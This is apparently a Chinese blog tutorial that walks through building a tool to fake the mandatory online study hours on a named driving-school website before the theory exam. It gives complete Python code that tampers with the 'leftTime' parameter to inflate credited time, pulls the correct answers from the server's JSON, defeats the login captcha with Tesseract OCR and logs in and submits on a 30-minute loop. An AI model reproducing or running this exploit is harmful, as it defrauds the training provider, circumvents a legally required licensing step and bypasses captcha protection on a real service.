手把手教你制作科目一刷学时神器

Reading time ~1 minute

按照教练的指引登录上某驾驶技术教学网站,规定是要完成在线教学24个学时,才能参加科目一考试。

难道要老老实实的看满24个小时么?No。百度可以发现,网上有很多代刷学时的服务,甚至还有专门刷学时神器,都已经开始软件收费了。下面我们来看看,如何制作一个刷学时的“神器”。

刷学时

可以发现,目标网站悦驾网在每个重要的HTTP请求中都加入了一次性的Token,而且服务端对于每个视频长度做了校验,某些视频结束后还会有问答题。如果想通过脚本来逐个刷教学视频,会比较麻烦。再看看其他网站功能,发现做科目一模拟题的时间也会被算在在线学时中。模拟练习的交互过程如下:

  1. 用户点击开始模拟练习。
  2. 请求题目。
  3. 用户提交答卷。提交所有答案,并结束模拟练习。

第三步请求数据包中包含了模拟练习的剩余时间,于是篡改剩余时间并提交,查看学习记录,发现练习的用时果然是通过总时间减去剩余时间进行统计的。这样就可以由用户自己控制每次练习所累积的在线学习时长,达到刷学时的目的。

第二步服务器返回的数据包是JSON格式的题目数据,而数据中已经包含了所有题目的正确答案。于是,“神器”思路如下:

  1. 模拟用户开始练习。并解析获取表单中的一次性token
  2. 获取题目,并解析出所有正确答案。
  3. 模拟用户提交答卷,并设置请求包中表示剩余时间的参数为0。

这样一次就可以刷半个小时。代码如下:

def attack(cookie):
print "#STEP 1"
r1 = requests.get("http://car.monicar.cn/StudentManage/KmyMnks",headers={'Cookie':cookie})
m = re.search(r'__RequestVerificationToken" type="hidden" value="(.*?)" />', r1.content)
if m:
print "token: "+m.group(1)
token = m.group(1)
else:
print "no match"

print "#STEP 2"
r2 = requests.get("http://car.monicar.cn/StudentManage/GetCurrExams",headers={'Cookie':cookie})
exams = json.loads(r2.content)
right_answer = '["' + '","'.join(exams['dicAnswer']) + '"]'
print 'right_answer: '+right_answer

time.sleep(3)
print "#STEP 3"
data = {'__RequestVerificationToken':token, 'leftTime':'14:44', 'examCarType':'C1', 'kmType':'1', 'DicUserAnswer':right_answer, 'verifyScore':'100'}
r3 = requests.post("http://car.monicar.cn/StudentManage/NewGetResult", data=data, headers={'Cookie':cookie})
print r3.content

这里需要传入用户自己登录态的Cookie。而对于普通用户来说,这个体验肯定是不符合“神器”标准的。于是我们需要模拟用户登录,这样就得对网站登陆框进行验证码识别。

verify_image

验证码为4位纯数字验证码,干扰并不是很强。

验证码识别

光学字符识别(OCR,Optical Character Recognition)是指对文本资料进行扫描,然后对图像文件进行分析处理,获取文字及版面信息的过程。

Tesseract的OCR引擎最先由HP实验室于1985年开始研发,至1995年时已经成为OCR业内最准确的三款识别引擎之一。然后HP不久却放弃了OCR业务,数年后Google对Tesseract进行改进、消除Bug、优化工作。

Python下也有很多封装Tesseract的类库。这里我们使用了pytesseract进行识别,使用PIL工具对图像进行处理。

安装tesseract-ocr:

brew install tesseract
https://github.com/tesseract-ocr/tesseract

Tips

安装PIL时,可能会报错:

_imagingft.c:73:10: fatal error: 'freetype/fterrors.h' file not found

解决方法如下:

安装freetype后执行

ln -s /usr/local/include/freetype2 /usr/local/include/freetype

pytesseract的原理是使用PIL对图片进行一定处理后,通过subprocess.Popen调用tesseract命令进行图像识别。而Tesseract只能识别黑白图片。所以我们需要对验证码进行一定的预处理,将图像二值化处理,转成黑白图片。

PIL可以对图像的颜色进行转换,支持24位彩色、8位灰度图和二值图等模式。

Image.open('verify_image.jpg').convert('1')

convert(mode)函数,mode表示所输出的颜色模式,”L”表示灰度,”1”表示二值图模式。convert(‘1’)使用固定的阈值127实现二值化,即灰度高于127的像素值为白色,而灰度低于127的像素值为黑色。

而对于目标网站的验证码,可以看到,噪点均为浅色的灰白线条,我们可以调高二值化的阈值,减少验证码中的数字部分信息的丢失,一定程度上提高识别准确率。代码如下:

def parse_verify_code():
image = Image.open('verify_image.jpg')
Limage = image.convert('L')
Limage.save('verify_image_l.jpg')
threshold = 180
table = []
for i in range( 256 ):
if i < threshold:
table.append(0)
else :
table.append(1)

Bimage = Limage.point(table,'1')
Bimage.save('verify_image_b.jpg')

verify_code = pytesseract.image_to_string(Bimage,lang='eng',config='digits')
print "verify code is " + verify_code

return verify_code

模拟登陆

最后我们结合识别出来的验证码,模拟用户登录。

请求目标网站,获取Session Cookie 获取验证码图片并识别 提交登录请求,解析并保存响应包中的登录态Cookie 代码如下:

User_Cookie = ""

def parse_set_cookie(setcookies):
result = ""
for sc in setcookies:
result += sc.split(";")[0]+";"
return result

def get(url,cookie):
r = requests.get(url,headers={'cookie':cookie})
if 'set-cookie' in r.headers:
setcookies = r.headers['set-cookie'].split(",")
global User_Cookie
User_Cookie += parse_set_cookie(setcookies)
return r

def init():
r01 = get("http://car.monicar.cn/",User_Cookie)
#print User_Cookie
r02 = get("http://car.monicar.cn/SecurityCode/CreateImageCode",User_Cookie)
#print User_Cookie
verify_image = open('verify_image.jpg','w')
verify_image.write(r02.content)
verify_image.close()

def parse_verify_code():
image = Image.open('verify_image.jpg')
Limage = image.convert('L')
Limage.save('verify_image_l.jpg')
threshold = 180
table = []
for i in range( 256 ):
if i < threshold:
table.append(0)
else :
table.append(1)

Bimage = Limage.point(table,'1')
Bimage.save('verify_image_b.jpg')

verify_code = pytesseract.image_to_string(Bimage,lang='eng',config='digits')
print "verify code is " + verify_code

return verify_code

def login(username,password,code,cookie):
print 'logining...'
data = {'stucard':username, 'stupwd':password, 'yzm':code, 'check':'0'}
r = requests.post("http://car.monicar.cn/Account/LogOnStu",data=data,headers={'Cookie':cookie})
print r.content
if '8' in r.content:
#print r.headers['set-cookie']
setcookies = r.headers['set-cookie'].split(",")
global User_Cookie
User_Cookie += parse_set_cookie(setcookies)
return True
else:
return False

结束

验证码识别成功率基本50%左右,平均两次就可登陆成功。一次登录成功之后就可以利用Cookie刷学时了。可以设置每次间隔1800秒刷一次。

import requests
import json
import re
import time
import pytesseract
import Image
import subprocess
import os

'''省略前文代码'''

if __name__ == "__main__":

username = "xxxxxxxx"
password = "xxxxxx"

for i in xrange(10):
init()
code = parse_verify_code()
if login(username, password, code, User_Cookie):
print 'Login Success'
#print User_Cookie
break
else:
print 'Login Failed. Retrying...'

for i in xrange(8):
time.sleep(1800)
attack(User_Cookie)

PS: 该学的理论知识还是要好好学喔。